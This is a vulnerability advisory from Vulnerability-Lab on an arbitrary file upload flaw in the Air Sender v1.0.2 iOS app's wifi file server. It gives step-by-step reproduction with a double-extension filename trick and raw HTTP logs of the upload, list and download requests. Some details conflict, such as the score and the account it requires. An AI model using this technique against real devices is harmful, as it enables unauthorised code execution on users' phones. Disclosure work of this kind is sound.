Air Sender v1.0.2 iOS - Arbitrary File Upload Vulnerability

Document Title:
===============
Air Sender v1.0.2 iOS - Arbitrary File Upload Vulnerability


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2212


Release Date:
=============
2020-04-23


Vulnerability Laboratory ID (VL-ID):
====================================
2212


Common Vulnerability Scoring System:
====================================
7.4


Vulnerability Class:
====================
Arbitrary File Upload


Current Estimated Price:
========================
1.000€ - 2.000€


Product & Service Introduction:
===============================
Sender provide very easy solution for you to send or receive file from many devices: computer, laptop, other mobile device.
You can send & receive file to (from) any where! It very simple, if you want other can send files to your phone or let them 
get files from your phone, just Start Transfer, let other one know your Connection Address which is show in app. They can 
access & send/receive needed files.

(Copy of the Homepage: https://apps.apple.com/us/app/air-sender-file-transfer/id1441632270 )


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered an arbitrary file upload vulnerability in the official Air Sender v1.0.2 mobile ios web-application.


Affected Product(s):
====================
Tran Tu
Air Sender v1.0.2 iOS - Apple iOS Mobile Web Application


Vulnerability Disclosure Timeline:
==================================
2020-04-24: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Authentication Type:
====================
Open Authentication (Anonymous Privileges)


User Interaction:
=================
No User Interaction


Disclosure Type:
================
Full Disclosure


Technical Details & Description:
================================
An arbitrary file upload web vulnerability has been discovered in the official Air Sender v1.0.2 iOS mobile application. 
The web vulnerability allows remote attackers to upload arbitrary files to compromise for example the file system of a service.

The arbitrary upload vulnerability is located in the within the web-server configuration when using the upload module.
Remote attackers are able to bypass the local web-server configuration by an upload of malicious webshells. Attackers 
are able to inject own files with malicious `filename` values in the `upload` POST method request to compromise the 
mobile web-application. The application does not perform checks for multiple file extensions. Thus allows an attacker 
to upload for example to upload a html.js.png file. After the upload the attacker requests the original url source 
with the uploaded file and removes the unwanted extension to execute the code in the unprotected web-frontend.

The security risk of the vulnerability is estimated as high with a common vulnerability scoring system count of 7.0. 
Exploitation of the web vulnerability requires a low privilege ftp application user account and no user interaction. 
Successful exploitation of the arbitrary file upload web vulnerability results in application or device compromise.

Request Method(s):
[+] POST

Vulnerable Module(s):
[+] ./upload

Vulnerable File(s):
[+] list?path=
[+] download?path=


Proof of Concept (PoC):
=======================
The arbitrary file upload vulnerability can be exploited by remote attackers without user interaction and with local network access.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.


Manual steps to reproduce the vulnerability ...
1. Install and start the ios mobile application on your apple device
2. Open your local browser and start to tamper the http session
2. Open the wifi user interface without authentication by default
4. Click upload, choose any file
5. Change the files name to your script code test payload via session tamper
6. Continue to submit the manipulated content
7. Open the via the list or download url to the uploaded html / js file to execute it
8. Successful reproduce of the mobile ios vulnerability!


PoC: Exploitation
http://localhost/download?path=0010101001.html.js
http://localhost/download?path=0010101001.html.js


--- PoC Session Logs [POST] ---
http://localhost/upload
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------418835692331824972282021572505
Content-Length: 2609
Origin: http://localhost
Connection: keep-alive
Referer: http://localhost/
Cookie: _ga=GA1.4.376521534.1586884411; _gid=GA1.4.1374601525.1586884411
path=/&files[]=0010101001.html.js.png
-
POST: HTTP/1.1 200 OK
Cache-Control: no-cache
Content-Length: 2
Content-Type: application/json
Connection: Close
Server: GCDWebUploader
-
http://localhost/list?path=[PATH]/[Evil.Source]
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: keep-alive
Referer: http://localhost/
Cookie: _ga=GA1.4.376521534.1586884411; _gid=GA1.4.1374601525.1586884411
-
GET: HTTP/1.1 200 OK
Cache-Control: no-cache
Content-Length: 381
Content-Type: application/json
Connection: Close
Server: GCDWebUploader
-
http://localhost/download?path=0010101001.html.js
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://localhost/
Cookie: _ga=GA1.4.376521534.1586884411; _gid=GA1.4.1374601525.1586884411
Upgrade-Insecure-Requests: 1
-
GET: HTTP/1.1 200 OK
Connection: Close
Server: GCDWebUploader
Date: Tue, 14 Apr 2020 19:35:28 GMT
Content-Disposition: attachment; filename="0010101001.html.js"; filename*=UTF-8''0010101001.html.js
Content-Length: 2270
Cache-Control: no-cache
Etag: 4306047746/1586892764/961771080


Reference(s):
http://localhost/list
http://localhost/upload
http://localhost/download


Security Risk:
==============
The security risk of the arbitrary file upload vulnerability in the mobile web-application is estimated as high.


Credits & Authors:
==================
Vulnerability-Lab - https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab
Benjamin Kunz Mejri - https://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.


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=========================
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